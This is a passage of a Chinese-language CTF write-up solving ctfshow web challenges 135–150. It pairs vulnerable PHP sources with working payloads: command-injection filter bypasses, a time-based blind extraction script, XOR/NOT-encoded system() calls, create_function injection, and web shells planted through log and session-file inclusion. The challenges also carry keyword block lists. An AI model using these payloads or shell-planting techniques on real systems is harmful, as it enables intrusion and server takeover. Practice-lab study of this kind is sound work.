    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的，那就来一个加强版吧");
    }
}

和 133 题不同的是，这次禁用了 curl 和 cat，却放开了写文件，反而更简单了。

payload: ?F=`$F`; mv flag.php 1.txt  

web136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

正则禁用了 >，可以用 |tee 代替。
payload1: ?c=ls /|tee 1
payload2: ?c=cat /f149_15_h3r3|tee 2

web137

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:27:49

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

PHP call_user_func on a static method

$class = '\\MyBundleNamespace\\MyClass';
$method = 'myFunction';

Both calls should work:

call_user_func("$class::$method");
call_user_func(array($class, $method));

payload: ctfshow=ctfshow::getFlag
payload: ctfshow[]=ctfshow&ctfshow[]=getFlag

web138

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:52:13

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

禁用了 :，还可以以数组的形式传参。
payload: ctfshow[]=ctfshow&ctfshow[]=getFlag

web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

屏蔽了不少东西，exec 没有回显，写个脚本盲注

import string
import time

import requests

url = "http://bd33e54f-6289-4649-b28f-de3bd362f3d4.challenge.ctf.show:8080/"

# payload = "ls /"
# bin\ndev\netc\nf149_15_h3r3\nhome\nlib\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr
payload = "cat /f149_15_h3r3"
template = "if [ `{payload}|awk 'NR=={line}'|cut -c {index}` == {char} ];then sleep 3;fi"


def valid_char(line: int, index: int, char: str) -> bool:
    start_time = time.time()
    _ = requests.get(url, params={
        "c": template.format(
            payload=payload,
            line=line,
            index=index,
            char=char
        )
    })
    end_time = time.time()
    return end_time - start_time >= 2.5


result = ""


# for l in range(1, 20):
#     for i in range(1, 40):
#         try:
#             for c in "{}-" + string.printable:
#                 if c == " ":
#                     raise Exception("End of line")
#                 if valid_char(l, i, c):
#                     result += c
#                     print(f"[*] result: {result}")
#                     break
#         except:
#             break
#     result += "\\n"

for i in range(1, 100):
    for c in string.printable:
        if c == " ":
            result += " "
        if valid_char(1, i, c):
            result += c
            print(f"[*] result: {result}")
            break

web140

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 12:39:25

*/

error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['f1']) && isset($_POST['f2'])){
    $f1 = (String)$_POST['f1'];
    $f2 = (String)$_POST['f2'];
    if(preg_match('/^[a-z0-9]+$/', $f1)){
        if(preg_match('/^[a-z0-9]+$/', $f2)){
            $code = eval("return $f1($f2());");
            if(intval($code) == 'ctfshow'){
                echo file_get_contents("flag.php");
            }
        }
    }
}

弱类型比较，'ctfshow' 在比较时会被转换成 int(0)，所以前面的 $code 只需要能被 intval 函数转换为 int(0) 就行。
payload: f1=dir&f2=system

web141

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 19:28:09

*/

#error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/^\W+$/', $v3)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

正则过滤了字母数字下划线，还可以用取反或者异或绕过

<?php

# 取反
var_dump("-(~".urlencode(~'system').")(~".urlencode(~'tac flag.php').");");

$ways = array();
for ($i=128;$i<=256;$i++) {
    for ($j=128;$j<=256;$j++) {
        $a = $i ^ $j;
        if (31 < $a && $a < 127) {
            $key = urldecode("%".base_convert($a, 10, 16));
            // echo "%$i^%$j => ".$key."\n";
            $ways[$key][] = ["%".strtoupper(base_convert($i, 10, 16)), "%".strtoupper(base_convert($j, 10, 16))];
        }
    }
}

function make_xor($str) {
    $str_a = "";
    $str_b = "";
    global $ways;
    foreach(str_split($str) as $s) {
        $way = $ways[$s][0];
        $str_a .= $way[0];
        $str_b .= $way[1];
    }
    return "$str_a^$str_b";
}

# 异或
var_dump("-(".make_xor("system").")(".make_xor("tac flag.php").");//");

payload: ?v1=1&v2=2&v3=-(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F);
payload: -(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80%80%80%80%80%80%80%80^%F4%E1%E3%A0%E6%EC%E1%E7%AE%F0%E8%F0);

web142

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-17 19:36:02

*/

error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['v1'])){
    $v1 = (String)$_GET['v1'];
    if(is_numeric($v1)){
        $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);
        sleep($d);
        echo file_get_contents("flag.php");
    }
}

要求参数 v1 是个能过 is_numeric 函数的字符串，还要 sleep $v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d 这么多秒，传 0 就能绕过。
payload: ?v1=0

web143

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 12:48:14

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

相比 141 禁用了 ~ 那就只能异或了，还禁用了 - 可以用 * 代替，禁用了 ; 可以用 ?> 代替。
payload: ?v1=1&v2=2&v3=*(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80%80%80%80%80%80%80%80^%F4%E1%E3%A0%E6%EC%E1%E7%AE%F0%E8%F0)?%3E

web144

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 16:21:15

*/

highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];

    if(is_numeric($v1) && check($v3)){
        if(preg_match('/^\W+$/', $v2)){
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

function check($str){
    return strlen($str)===1?true:false;
}

位置改到了 v2，其他照旧
payload: ?v1=1&v3=2&v2=*(%80%80%80%80%80%80^%F3%F9%F3%F4%E5%ED)(%80%80%80%80%80%80%80%80%80%80%80%80^%F4%E1%E3%A0%E6%EC%E1%E7%AE%F0%E8%F0)?%3E

web145

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

相比之前禁用了异或，但又解禁了取反，搁着反复横跳呢？
+-*/;> 都被禁用了，还可以用 | 或者三元表达式连接前后的数字。
payload: ?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web146

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-18 17:41:33

*/


highlight_file(__FILE__);
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
    $v1 = (String)$_GET['v1'];
    $v2 = (String)$_GET['v2'];
    $v3 = (String)$_GET['v3'];
    if(is_numeric($v1) && is_numeric($v2)){
        if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){
                die('get out hacker!');
        }
        else{
            $code =  eval("return $v1$v3$v2;");
            echo "$v1$v3$v2 = ".$code;
        }
    }
}

禁用了三元表达式，对上题的 payload 没影响，一把梭
payload: ?v1=1&v2=2&v3=|(~%8C%86%8C%8B%9A%92)(~%8B%9E%9C%DF%99%93%9E%98%D1%8F%97%8F)|

web147

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 02:04:38

*/



highlight_file(__FILE__);

if(isset($_POST['ctf'])){
    $ctfshow = $_POST['ctf'];
    if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {
        $ctfshow('',$_GET['show']);
    }

}

根命名空间调用全局函数绕过正则，create_function 函数代码注入。
url: ?show=;}system('tac flag.php');//
body: ctf=\create_function

web148

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 03:52:11

*/



include 'flag.php';
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){
        die("error");
    }
    @eval($code);
}
else{
    highlight_file(__FILE__);
}

function get_ctfshow_fl0g(){
    echo file_get_contents("flag.php");
}

没过滤异或，改一下前面的脚本用用。

<?php

$ways = array();
for ($i=128;$i<=256;$i++) {
    for ($j=128;$j<=256;$j++) {
        $a = $i ^ $j;
        if (31 < $a && $a < 127) {
            $key = urldecode("%".base_convert($a, 10, 16));
            // echo "%$i^%$j => ".$key."\n";
            $ways[$key][] = ["%".strtoupper(base_convert($i, 10, 16)), "%".strtoupper(base_convert($j, 10, 16))];
        }
    }
}

function make_xor($str) {
    $str_a = "";
    $str_b = "";
    global $ways;
    foreach(str_split($str) as $s) {
        $way = $ways[$s][0];
        $str_a .= $way[0];
        $str_b .= $way[1];
    }
    return "$str_a^$str_b";
}

var_dump("(".make_xor("get_ctfshow_fl0g").")();");

payload: ?code=(%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80%80^%E7%E5%F4%DF%E3%F4%E6%F3%E8%EF%F7%DF%E6%EC%B0%E7)();

web149

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 04:34:40

*/


error_reporting(0);
highlight_file(__FILE__);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

file_put_contents($_GET['ctf'], $_POST['show']);

$files = scandir('./'); 
foreach($files as $file) {
    if(is_file($file)){
        if ($file !== "index.php") {
            unlink($file);
        }
    }
}

预期解是条件竞争，但是网不好就读不出 flag，用了非预期在 index.php 写 shell。
url: ?ctf=index.php
body: show=<?php eval($_POST[1]);

web150

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE){
    include($ctf);
}

非预期日志文件包含，在尝试写 shell 的时候被套娃问题坑到，日志这里还是容易忽略。
url: ?isVIP=1
body: ctf=/var/log/nginx/access.log&1=file_put_contents('sh.php', base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pOw=="));
UA: <?php eval($_POST[1]); ?>

web150_plus

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{
    private $username;
    private $password;
    private $vip;
    private $secret;

    function __construct(){
        $this->vip = 0;
        $this->secret = $flag;
    }

    function __destruct(){
        echo $this->secret;
    }

    public function isVIP(){
        return $this->vip?TRUE:FALSE;
        }
    }

    function __autoload($class){
        if(isset($class)){
            $class();
    }
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
    die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
    echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
    include($ctf);
}

修复了非预期，不让包含日志文件了。
这里利用了 extract 覆盖变量会把 空格 [ . 都给转成下划线的特性，绕过正则过滤。然后就是 __autoload 函数，这里写的是调用要加载的类名的函数，传 phpinfo 就能得到 session 相关信息，从而包含 session。
payload1: ?..CTFSHOW..=phpinfo
可以看到 session.use_strict_mode 为 Off，说明可以自定义 session_id，控制 session 文件名， session.save_path 为空，确定文件包含路径 /tmp/sess_{session_id}。改一下祖传脚本写 shell。

import io
import requests
import threading
url = 'http://fa7db7de-329e-44cf-8270-bcd8d7f96368.challenge.ctf.show:8080/?isVIP=1'


event = threading.Event()


def write(session):
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'aaaaaa<?php file_put_contents("/var/www/html/s.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg=="));?>'
    }
    while True:
        if event.is_set():
            return
        f = io.BytesIO(b'a' * 1024 * 10)
        _ = session.post(url,cookies={'PHPSESSID': 'down'}, data=data, files={'file': ('verysafe.txt', f)})


def read(session):
    while True:
        if event.is_set():
            return
        response = session.post(url, data={"ctf": "/tmp/sess_down"})
        if 'aaaaaa' in response.text:
            print(response.text)
            event.set()
        else:
            print('retry')


if __name__ == '__main__':
    session = requests.session()
    for i in range(30):
        threading.Thread(target=write, args=(session,)).start()
    for i in range(30):
        threading.Thread(target=read, args=(session,)).start()
    event.wait()

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